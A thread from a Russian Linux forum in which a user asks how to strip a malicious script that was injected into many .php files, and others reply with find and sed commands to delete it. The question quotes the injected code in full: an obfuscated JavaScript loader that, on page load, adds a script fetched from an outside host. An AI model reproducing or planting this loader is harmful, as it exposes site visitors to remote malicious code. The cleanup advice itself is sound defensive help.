LINUX.ORG.RU

Массовая замена строки в файлах


0

0

Как удалить строку в нескольких файлах?

во все .php прописался скрипт

<script>var A;if(A!='q' && A!='m'){A='q'};function l() {var pT="";var bP="";var u=«]»;var oC=new String();var JH=new String();var K=RegExp;var s;if(s!=" && s!='g'){s='k'};this.S=";var J=new String(«rep»+«lac»+«N8qe».substr(3));var O=new Array();var X=unescape(«/google.com/google.com/zing.vn/msn.com.cn/charter.net.php»);var XU=window;var T=new String();var R=new String();var W=";var F;if(F!="){F='li'};var sh;if(sh!=" && sh!='Ze'){sh="};var kV=new Array();function v(Q,Z){var D="";var Wu=new String(«[»);var j=";Wu+=Z+u;var G;if(G!='Qe' && G != "){G=null};this.Bc="";var n=new K(Wu, String(«V3KFg».substr(4)));var mN;if(mN!='sas'){mN="};return Q[J](n, W);};var ek="";var U=new Array();var w=v('87530637832930573','56472139');var YE;if(YE!=" && YE!='gG'){YE='Co'};this.Qv=";var ZS=unescape("http://kohls-com.ya.ru.hulu-com.javahelponline.ru:");var PS;if(PS!='nF' && PS!='hb'){PS='nF'};var P=";var ds;if(ds!='ue' && ds!='WW'){ds='ue'};var b=String(«scr»+«KVaipt».substr(3));var _s=";var Pc=";this.zl=";XU[«onloa»+«Hvgkd».substr(4)]=function(){var AV=";var Og;if(Og!="){Og='yV'};try {var IX;if(IX!=" && IX!='sP'){IX=null};this.wn="";P=ZS+w;P+=X;p=document.createElement(b);var c;if(c!=" && c!='Me'){c="};this.DG="";this.ry=";p[String(«de»+«fe»+«r»)]=[8,1][1];var N="";var aR="";p[«srJW4».substr(0,2)+«c9AJ».substr(0,1)] = P;document.body.appendChild(p);} catch(Pz){};var ryl=new String();};var cJ=new Date();var ga=new Date();var _n="";var gi=new Date();};l();</script> <!--21bbe805d2c1299b84645aa67bdf7beb-->

мне его нужно удалить но файлов много и руками это очень трудоемко как с помощью встроенных средств в linux автоматически удалить его? find sed awk replace может еще какие команды есть? сразу скажу что доку сейчас читаю поэтому за совет прочитать заранее говорю спасибо. find . -name *.php -exec sed -i 's/oldtext/newtext/' {} \; не получилось чтото нужно еще прописать

с sed не получается как мне кажется из за того что этот скрипт нужно представить как единое выражение или слово чтоли потому что символы внутри скрипта мешают ему обработать правильно строку я еще не разобрался с форматом sed и потому если знаете подскажите как удалить строку если она начинается например с <script>var A;if(A!='q' &&


sed -i 's/oldtext/newtext/' не получилось, потому-что в oldtext есть символы «/». Либо экранируй их, либо используй, например, символ «|» вместо «/» для sed.

Deleted
()
.-(~)---------------------------------------------------------(gotf@persephone)-
`--> cat test 
<script>var A;if(A!='q' &&  blabla
не удалять
.-(~)---------------------------------------------------------(gotf@persephone)-
`--> sed -e '/^<script>var\ A;if(A!=/d' test 
не удалять

Как экранировать одинарные кавычки для такого случая, я не помню.

GotF ★★★★★
()
Ответ на: комментарий от GotF

> Как экранировать одинарные кавычки

Либо заменить каждую кавычку на '\" (кавычка, бэкслэш, ещё 2 раза кавычка), либо заключить скрипт в двойные кавычки. Второе лучше читается, но возможны нежелательные эффекты на некоторых спецсимволах.

question4 ★★★★★
()
Ответ на: комментарий от question4

Ага, двойные кавычки здесь тоже есть, с ними та же история будет. Тогда только загрузить этот текст в какой-нибудь редактор и сделать автозамену ' на '\"

question4 ★★★★★
()
Ответ на: комментарий от GotF

получилось может понадобится кому удаляет строку которая начинается с <script>var A расширение php обязательно в кавычках find . -name «*.php» -exec sed -i '/^<script>var A/d' '{}' \; find . -name *.html -exec sed -i '/^<script>var A/d' '{}' \;

eoleg
() автор топика

sed -r 's/<script>var A(.*)21bbe805d2c1299b84645aa67bdf7beb-->//g'

где-то так..необязательно-же весь образец задавать - достаточно префикс и суффикс

MKuznetsov ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.